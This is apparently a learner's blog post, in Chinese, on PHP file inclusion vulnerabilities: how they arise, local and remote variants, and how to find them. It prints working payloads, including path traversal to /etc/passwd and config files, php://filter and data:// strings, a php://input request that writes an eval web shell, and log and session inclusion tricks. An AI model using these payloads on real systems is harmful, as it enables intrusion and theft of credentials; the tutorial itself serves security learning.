网安学习第21天 PHP安全——文件包含
今天学习了文件包含,是说实话只看这个名字,看的我一脸懵。
一、概念
1、文件包含是什么?
比如一个网站有:
header.php 头部
menu.php 菜单
home.php 首页内容
footer.php 底部
主页面 index.php 里面可能这样写:
include("home.php");
意思是:把 home.php 这个文件拿过来,放到当前页面里一起执行。这就是文件包含
2、为什么会有漏洞
问题出在:如果要包含哪个文件,是用户说了算,那就危险了。
比如代码这样写:
$page = $_GET['page'];
include($page);
用户访问:
index.php?page=home.php
服务器就会执行:
include("home.php");
这时候是正常的。
但是如果攻击者访问:
index.php?page=../../../../etc/passwd
服务器可能就会去加载系统文件,这就出问题了。
3、原理
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。
4、分类
本地包含-Local File Include-LFI
远程包含-Remote File Include-RFI
差异原因:代码过滤和环境配置文件开关决定
二、漏洞发现
1、白盒审计
PHP:include、require、include_once、require_once 等
include 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require 函数出现错误的时候,会直接报错并退出程序的执行
Java:java.io.File、java.io.FileReader 等
ASP.NET:System.IO.FileStream、System.IO.StreamReader 等
2、黑盒分析
-黑盒发现:主要观察参数传递的数据和文件名是否对应
URL 中有 path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼
三、漏洞利用
1、配合文件上传漏洞
结合之前学的文件上传漏洞进行结合。
2、读取敏感文件
例如尝试读取系统文件、配置文件、数据库密码等信息
?page=../../../../etc/passwd
?page=../../../../var/www/html/config.php
3、目录穿越
使用:
../
不断跳出当前目录,尝试读取到更多的信息。
4、PHP 伪协议
-文件读取:
file:///etc/passwd
php://filter/read=convert.base64-encode/resource=phpinfo.php
-文件写入:
php://filter/write=convert.base64-encode/resource=phpinfo.php
php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
-代码执行:
php://input POST:<?php phpinfo();?>
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
远程利用思路:
直接搭建一个可访问的远程URL包含文件
5、无文件日志包含
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log
6、无文件SESSION包含
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
自定义session名字,条件竞争访问session文件,触发创建新文件
三、文件下载读取&删除
1、下载
常规下载URL:http://www.xiaodi8.com/upload/123.pdf
可能存在安全URL:http://www.xiaodi8.com/xx.xx?file=123.pdf
利用:常规下载敏感文件(数据库配置,中间件配置,系统密匙等文件信息)
2、删除(常出现后台中)
可能存在安全问题:前台或后台有删除功能应用
利用:常规删除重装锁定配合程序重装或高危操作
更多推荐
所有评论(0)